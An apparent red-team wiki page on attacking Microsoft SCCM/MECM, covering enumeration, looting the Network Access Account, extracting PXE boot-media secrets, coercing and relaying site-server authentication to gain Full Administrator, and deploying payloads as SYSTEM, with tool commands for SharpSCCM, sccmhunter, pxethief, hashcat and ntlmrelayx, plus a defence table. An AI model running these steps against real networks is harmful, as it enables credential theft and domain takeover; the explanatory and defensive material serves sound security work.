SCCM / MECM Abuse

Microsoft Configuration Manager — SCCM, rebranded MECM, now folded into Microsoft Intune / Configuration Manager — is the software that pushes patches, applications and operating systems to every managed Windows box in an enterprise. That job description is also its threat model: a platform that can run code as SYSTEM on thousands of machines, that stores credentials so it can reach them, and whose servers are almost always highly privileged in Active Directory. Compromising it is frequently a faster route to Domain Admin than any Kerberos trick, which is why it earns its own lane on the Attack-Path map.

Rule of thumb: the SCCM client agent runs as SYSTEM on every endpoint, and the site server is usually one misconfiguration away from Tier 0. If you can influence what the site tells its clients to do, you have code execution everywhere; if you can coerce the site server to authenticate to you, you can often become an SCCM admin.

The architecture you are actually attacking

You cannot abuse what you cannot name, and SCCM has a lot of moving parts. These are the roles that matter to an attacker:

Role	What it does	Why you care
Site server	The brain of a primary site; runs the site components	Usually local admin on the site database and highly privileged in AD — the ultimate target
Central Admin Site (CAS)	Sits above multiple primary sites in a hierarchy	Owning a primary can lead to the CAS and vice-versa — hierarchy takeover
Management Point (MP)	The HTTP(S) endpoint clients talk to for policy	Serves policies that can contain secrets (NAA); a relay/impersonation target
Distribution Point (DP)	Hosts the content — apps, packages, boot media	PXE media and package files leak credentials; often anonymously reachable
SMS Provider	The WMI/administration layer the console talks to	Relaying a site-server or admin auth here can grant you Full Administrator
Site database	A Microsoft SQL Server holding all config and secrets	Contains RBAC, OSD variables and encrypted account secrets — see MSSQL abuse
Client agent (CcmExec)	Runs on every managed host as `SYSTEM`	The blast radius: whatever the site deploys runs as SYSTEM here

Two design facts drive almost every attack below. First, clients need to find and trust their site, and by default that discovery and much of the traffic is unauthenticated or NTLM-authenticated HTTP. Second, to install software before a user logs in, SCCM historically stores a reusable domain credential — the Network Access Account (NAA) — and ships it to clients inside policy.

Enumeration — with and without credentials

SCCM advertises itself. A domain machine account (or a null session against the right endpoint) is often enough to locate the whole hierarchy:

LDAP — if the site publishes to AD, the System Management container under the domain holds mSSMSManagementPoint objects naming the MPs and site codes. Any authenticated user can read it.
HTTP management point — the MP answers policy requests over HTTP; tools enumerate site code, MPs and DPs and probe whether PXE and NAA are in play.
Device / collection RBAC — once you have any console access, enumerate who the Full Administrators are and which collections you can target.

sccmhunter.py find -u <user> -p '<pass>' -d <domain> -dc-ip <dc_ip>   # map the hierarchy
SharpSCCM.exe get devices -sms <SMS_PROVIDER>                        # devices & primary users
nxc smb <range> -M sccm                                             # quick discovery sweep

The reconnaissance goal is to answer three questions: Is the NAA in use? Is PXE enabled on a DP? Is automatic client push turned on? Each "yes" is a distinct path to compromise.

Path 1 — loot the Network Access Account

The NAA is a domain account SCCM uses when a client has no computer-account context yet (for example during OS deployment). Because clients must be able to use it, the site encrypts it and sends it to them in a policy blob. The encryption is done with a key the client itself can recover, so anyone who can obtain the policy as a client can decrypt the NAA. That turns a "protected" service account into plaintext domain credentials.

You can obtain the policy by:

Vector	How
Impersonating a client	Register (or spoof) a device record, request the machine policy, decrypt the NAA blob
Distribution point	Pull secret policies / content from a DP that trusts unauthenticated or machine-account requests
PXE boot media	See Path 2 — PXE variables include the NAA and task-sequence accounts

SharpSCCM.exe get secrets -r <newcomputer>         # request policy as a client, decrypt NAA
# or via sccmhunter's http module once you can register a device

The NAA is frequently over-privileged (a leftover domain admin, or an account reused as a local admin), so recovering it commonly hands you immediate lateral movement or better. Even a low-privileged NAA is a valid domain credential that unlocks the rest of the map.

Path 2 — PXE boot media (no credentials)

If a DP offers PXE for OS deployment, an unauthenticated attacker on the network can request the boot media. That media contains the task-sequence variables — including the NAA and any accounts baked into the deployment — encrypted with either no password or a weak one you can brute offline.

pxethief.py 2 <dp_ip>                 # download & decrypt the PXE media variables
hashcat -m 19850 pxe.hash wordlist    # crack the boot-media password if set

This is one of the few paths that needs zero credentials — just network line of sight to a PXE-enabled DP — which makes it a favourite opening move.

Path 3 — coercion + relay = site takeover

This is the high-impact path and it builds directly on Coercion & NTLM Relay. Two SCCM behaviours make the site server authenticate to you:

Automatic client push installation — when enabled, the site server reaches out to hosts to install the client, and (unless restricted to Kerberos) it will fall back to sending NTLM authentication as the site server's machine account or the client-push account. You can trigger it against a host you control.
General coercion — the site server is still a Windows box, so PetitPotam / PrinterBug / DFSCoerce work if those services are exposed.

Relay that captured authentication to one of two places:

Relay target	Result
SMS Provider (over SMB/HTTP)	Add your principal as a Full Administrator in SCCM RBAC — total control of deployments
Site database (MSSQL)	Write RBAC directly, or read secrets — pivot via MSSQL abuse

SharpSCCM.exe invoke client-push -mp <mp> -sc <site_code> -t <relay_ip>   # trigger the auth
ntlmrelayx.py -t mssql://<site_db> -socks                                  # relay to the site DB
# or relay the site-server machine account to the SMS Provider to grant Full Admin

The elegance (from an attacker's view) is that no exploit is involved — you are abusing a feature that is on by default in many environments, exactly like classic NTLM relay to LDAP.

Path 4 — you are an SCCM admin, now what

Once you hold Full Administrator (or any role that can target a collection), SCCM is a legitimate mass-deployment tool you now own. The client runs your payload as SYSTEM:

Application / package deployment — push an install that runs your command on every device in a collection.
Scripts & CMPivot — the "Run Scripts" and CMPivot features execute PowerShell on clients on demand; CMPivot's osinfo/query engine can be bent into arbitrary execution.
Task sequences — heavier, but run in the deployment context.

SharpSCCM.exe exec -d <device> -p '<payload>'      # execute on a client as SYSTEM
# or deploy a script/application to a whole collection from the console

Target a device where a Domain Admin is logged on and you convert SCCM control into credential theft and then domain compromise. Or simply target the domain controllers if they are managed.

Path 5 — secrets in the site database

If you reach the site database with sufficient rights (relay, or admin on the SQL host), it stores account secrets — the NAA, task-sequence accounts, and other credentials — in tables such as SC_UserAccount. They are encrypted, but with keys recoverable from the site server, so DB access plus site-server access yields plaintext. This is also the pivot point for hierarchy takeover: primary sites and the CAS trust each other's databases, so control of one database can propagate upward or downward.

Detection & defence

Control	Effect
Use PKI/HTTPS + Enhanced HTTP, retire the NAA	Removes the reusable credential and the plaintext-policy problem entirely — the single biggest win
Disable site-wide automatic client push, or require Kerberos + no NTLM fallback	Kills the coercion-to-relay path to the SMS Provider / DB
Harden the site systems (EPA, SMB signing, disable NTLM)	Relay generally stops working — see Coercion & Relay
Least-privilege the NAA and all service accounts; use gMSA; LAPS on clients	Limits the value of any credential you do recover
Treat site servers, SMS Provider and site DB as Tier 0	Stops "SCCM admin" from silently equalling Domain Admin
Monitor new Full Administrators, unexpected script/application deployments, and CMPivot from new principals	Catches Path 3 and Path 4 in the act
Restrict PXE (password + network segmentation) or disable it	Closes the no-credentials boot-media path

The takeaway

SCCM/MECM is a parallel administration plane that sits beside Active Directory and is often less scrutinised. The same three ideas recur: it stores credentials (NAA, DB secrets) you can loot, it authenticates in ways you can coerce and relay, and it executes code as SYSTEM everywhere once you hold a role. Defenders should adopt Enhanced HTTP, kill the NAA, and pull every SCCM server object into Tier 0. Attackers should ask, early, "is there a Config Manager here?" — because the answer often shortcuts the rest of the attack path. The tools live in the Toolkit; the abuse write-up is under SCCM abuse in Vulns & Misconfigs.